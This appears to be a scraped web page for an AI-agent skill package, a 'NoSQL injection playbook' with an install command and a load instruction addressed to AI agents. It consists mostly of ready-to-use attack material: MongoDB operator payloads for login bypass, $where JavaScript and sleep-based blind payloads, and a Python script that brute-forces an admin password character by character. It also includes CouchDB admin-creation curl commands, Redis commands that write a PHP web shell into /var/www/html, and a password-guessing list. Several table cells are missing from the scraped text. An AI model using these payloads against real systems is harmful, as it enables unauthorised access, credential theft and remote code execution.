Loading...
Loading...
NoSQL injection playbook. Use when MongoDB-style operators, JSON query objects, flexible search filters, or backend query DSLs may allow data or logic abuse.
npx skill4agent add yaklang/hack-skills nosql-injectionAI LOAD INSTRUCTION: NoSQL injection is fundamentally different from SQL injection. Covers MongoDB operator injection, authentication bypass, blind extraction, aggregation pipeline injection, and Redis/CouchDB specific attacks. Very commonly missed by testers who only know SQLi patterns.
db.users.find({username: "alice", password: "secret"}){
"username": "admin",
"password": {"$gt": ""}
}find({username:"admin", password:{$gt:""}})POST /api/login
Content-Type: application/json
{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}$_POSTusername=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*params?username[%24ne]=invalid&password[%24ne]=invalid%24$| Operator | Meaning | Use Case |
|---|---|---|
| not equal | |
| greater than | |
| greater or equal | Similar to $gt |
| less than | |
| regex match | |
| JS expression | MOST DANGEROUS — code execution |
| field exists | |
| in array | |
$regex// Does admin's password start with 'a'?
{"username": "admin", "password": {"$regex": "^a"}}
// Does admin's password start with 'b'?
{"username": "admin", "password": {"$regex": "^b"}}
// Continue: narrow down each position
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}$where{"$where": "this.username == 'admin' && this.password.length > 0"}
// Blind extraction via timing:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}
// Regex via JS:
{"$where": "this.username.match(/^adm/) && true"}$where$match$group// Vulnerable code:
db.collection.aggregate([
{$match: {category: userInput}}, // userInput = {"$ne": null}
...
])// Input as object:
{"$ne": null} → matches all categories
{"$regex": ".*"} → matches all?filter=value1&filter=value2 → filter = ["value1", "value2"]qs?filter[$ne]=invalid
→ parsed as: filter = {$ne: "invalid"}
→ NoSQL operator injection# List databases:
curl http://target.com:5984/_all_dbs
# Read all documents in a DB:
curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs=true
# Create admin account (if anonymous access allowed):
curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'# Via SSRF or direct injection:
SET key "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
BGSAVErequirepassAUTH password
AUTH 123456
AUTH redis
AUTH admintrue, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=application/json{"username": "admin", "password": {"$ne": ""}}| Aspect | SQLi | NoSQLi |
|---|---|---|
| Language | SQL syntax | Query operator objects |
| Injection vector | String concatenation | Object/operator injection |
| Common signal | Quote breaks response | |
| Extraction method | UNION / error-based | |
| Auth bypass | | |
| OS command | xp_cmdshell (MSSQL) | Rare (need |
| Fingerprint | DB-specific error messages | "cannot use $" errors |
□ Test login fields with: {"$ne": "invalid"} JSON body
□ Test URL-encoded forms: password[$ne]=invalid
□ Test $regex for blind enumeration of field values
□ Try $where with sleep() for time-based blind
□ Check 5984 port for CouchDB (unauthenticated admin)
□ Check 6379 port for Redis (unauthenticated)
□ Try Content-Type: application/json on form endpoints
□ Monitor for operator-related error messages ("BSON" "operator" "$not allowed")import requests
import string
url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""
while True:
found = False
for c in charset:
payload = {
"username": "admin",
"password[$regex]": f"^{password}{c}.*"
}
r = requests.post(url, json=payload)
if "success" in r.text or r.status_code == 302:
password += c
found = True
print(f"Found: {password}")
break
if not found:
break
print(f"Final password: {password}")username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*
# Iterate through charset until login succeeds// When app checks one key but processes another:
{"id": "10", "id": "100"}
// JSON parsers typically use last occurrence
// Bypass: WAF validates id=10, app processes id=100// If user controls $match stage:
db.collection.aggregate([
{ $match: { user: INPUT } } // INPUT from user
])
// Injection: provide object instead of string
// INPUT = {"$gt": ""} → matches all documents
// $lookup for cross-collection data access:
// If $lookup stage is injectable:
{ $lookup: {
from: "admin_users", // attacker-chosen collection
localField: "user_id",
foreignField: "_id",
as: "leaked"
}}
// $out to write results to new collection:
{ $out: "public_collection" } // Write query results to accessible collection// $where allows arbitrary JavaScript (DANGEROUS):
db.users.find({ $where: "this.username == 'admin'" })
// If input reaches $where:
// Injection: ' || 1==1 || '
// Or: '; return true; var x='
// Time-based: '; sleep(5000); var x='
// Data exfil: '; if(this.password[0]=='a'){sleep(5000)}; var x='$where$where